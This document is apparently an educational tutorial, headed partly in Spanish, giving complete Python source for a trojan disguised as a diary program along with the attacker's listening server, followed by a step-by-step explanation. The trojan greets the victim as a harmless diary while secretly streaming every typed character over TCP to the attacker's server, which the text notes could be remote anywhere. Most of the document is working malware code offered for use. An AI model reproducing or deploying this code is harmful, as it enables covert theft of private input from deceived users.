CÓDIGO TROYANO:

#!/usr/bin/env python3

""" Implementation of trojan that collects data and sends them to server.

    It acts like an ordinary diary.

"""

import logging

import socket

import sys

class Trojan:

    """ This class represents the implementation of trojan disguised

        as diary.

    """

    def \_\_init\_\_(self, host, port):

        self.\_host = host

        self.\_port = port

        # Initialize socket for the connection.

        self.\_socket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

    @property

    def host(self):

        """ Server that collects obtained data. """

        return self.\_host

    @host.setter

    def host(self, new\_host):

        self.\_host = new\_host

    @property

    def port(self):

        """ Port, on which the server runs (`int`). """

        return self.\_port

    @port.setter

    def port(self, new\_port):

        self.\_port = new\_port

    @property

    def socket(self):

        """ Client socket. """

        return self.\_socket

    def collect\_data(self):

        """ Secretly collect data and send them to server. """

        # Create a connection to the server.

        try:

            self.socket.connect((self.host, self.port))

        except socket.error:

            logging.debug('Trojan could not connect to the server.')

            return

        # Try to act as an ordinary diary.

        print('Hello, this is your diary. You can type here your notes: ')

        # Read notes written by the victim and send them to the server.

        while True:

            character = sys.stdin.read(1)

            self.socket.send(bytes(character, 'utf-8'))

if \_\_name\_\_ == '\_\_main\_\_':

    logging.basicConfig(level=logging.DEBUG)

    # Initialize trojan application that acts like an diary.

    trojan = Trojan('localhost', 27000)

    # Collect the data and send them to the server running

    # on the attacket's side.

    trojan.collect\_data()

AHORA EL SERVER:

#!/usr/bin/env python3

""" Implementation of the server that collects data sent by trojan.

"""

import logging

import socket

class Server:

    """ This class represents a server of the attacker that

    collects data from the victim.

    """

    def \_\_init\_\_(self, port):

        self.\_port = port

        # Initialize the socket for connection.

        self.\_socket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

    @property

    def port(self):

        """ Port, on which the server runs (`int`). """

        return self.\_port

    @port.setter

    def port(self, new\_port):

        self.\_port = new\_port

    @property

    def socket(self):

        """ Server socket. """

        return self.\_socket

    def initialize(self):

        """ Initialize server before session. """

        try:

            self.socket.bind(('localhost', self.\_port))

            self.socket.listen()

            logging.debug('Server was successfully initialized.')

        except socket.error:

            print('Server was not initialized due to an error.')

    def collect\_data(self):

        """ Collect data from client trojan application. """

        # Establish a connection with the victim.

        connection, address = self.socket.accept()

        with connection:

            print('Connection with trojan established from {}'.format(address))

            # Receive data sent by trojan diary.

            while True:

                data = connection.recv(1024)

                if not data:

                    break

                logging.info(data)

if \_\_name\_\_ == '\_\_main\_\_':

    logging.basicConfig(level=logging.DEBUG)

    # Create and initialize a server running on attacker's side.

    server = Server(27000)

    server.initialize()

    # Collect the data sent by trojan that was executed on victim's side.

    server.collect\_data()

**How does it work?**

**Server**

* Firstly, we create our **server** that should collect the data obtained from **trojan** executed by the victim. The server will listen on the specific port that must be the same as is specified in our **trojan**. In this example will be both the **server** and **trojan** executed on the same computer, but the **server** might be remote and located anywhere in the world.

server = Server(27000)

The communication is realized via **TCP** protocol specified by socket.SOCK\_STREAM (To learn more about network protocols see [the guide to network communication](https://support.holmsecurity.com/hc/en-us/articles/212963869-What-is-the-difference-between-TCP-and-UDP-).

self.\_socket = socket.socket(socket.AF\_INET, socket.SOCK\_STREAM)

* Then we must initialize the server by binding it to the specified port.

server.initialize()

* The most important part is the connection with the victim. This is implemented in the function *collect\_data* provided by the **server**. It waits for the connection initiated by the **trojan** after its execution on the victim's system. After that it just constantly checks whether the client has sent any data. If so, they are logged into the console so that the attacker can see them. If the sent data are "empty", the client has closed the connection.
* while True:
* data = connection.recv(1024)
* if not data:
* break

logging.debug(data)

**Trojan (client)**

* Firstly, we must create our **trojan**. The service requires a name of the host (server) and the specified port for the communication. Host named localhost means that the server is listening on the same system as our client.

trojan = Trojan('localhost', 27000)

* Now we try to connect to the server. This connection should remain hidden to the victim. The logging message is presented just so we can spot any errors in our example.
* try:
* self.socket.connect((self.host, self.port))
* except socket.error:
* logging.debug('Trojan could not connect to the server.')

return

* Then the **trojan** tries to act like a harmless program by greeting the victim.

print('Hello, this is your diary. You can type your notes here:')

* As the victim types his or her notes into the diary (stdin), each line is sent to the **attacker's server**. We expect the data to be encoded as **UTF-8** and because the communication interface expects *binary* data, we must transform the obtained *strings* into *bytes*.
* while True:
* character = sys.stdin.read(1)

self.socket.send(bytes(character, 'utf-8'))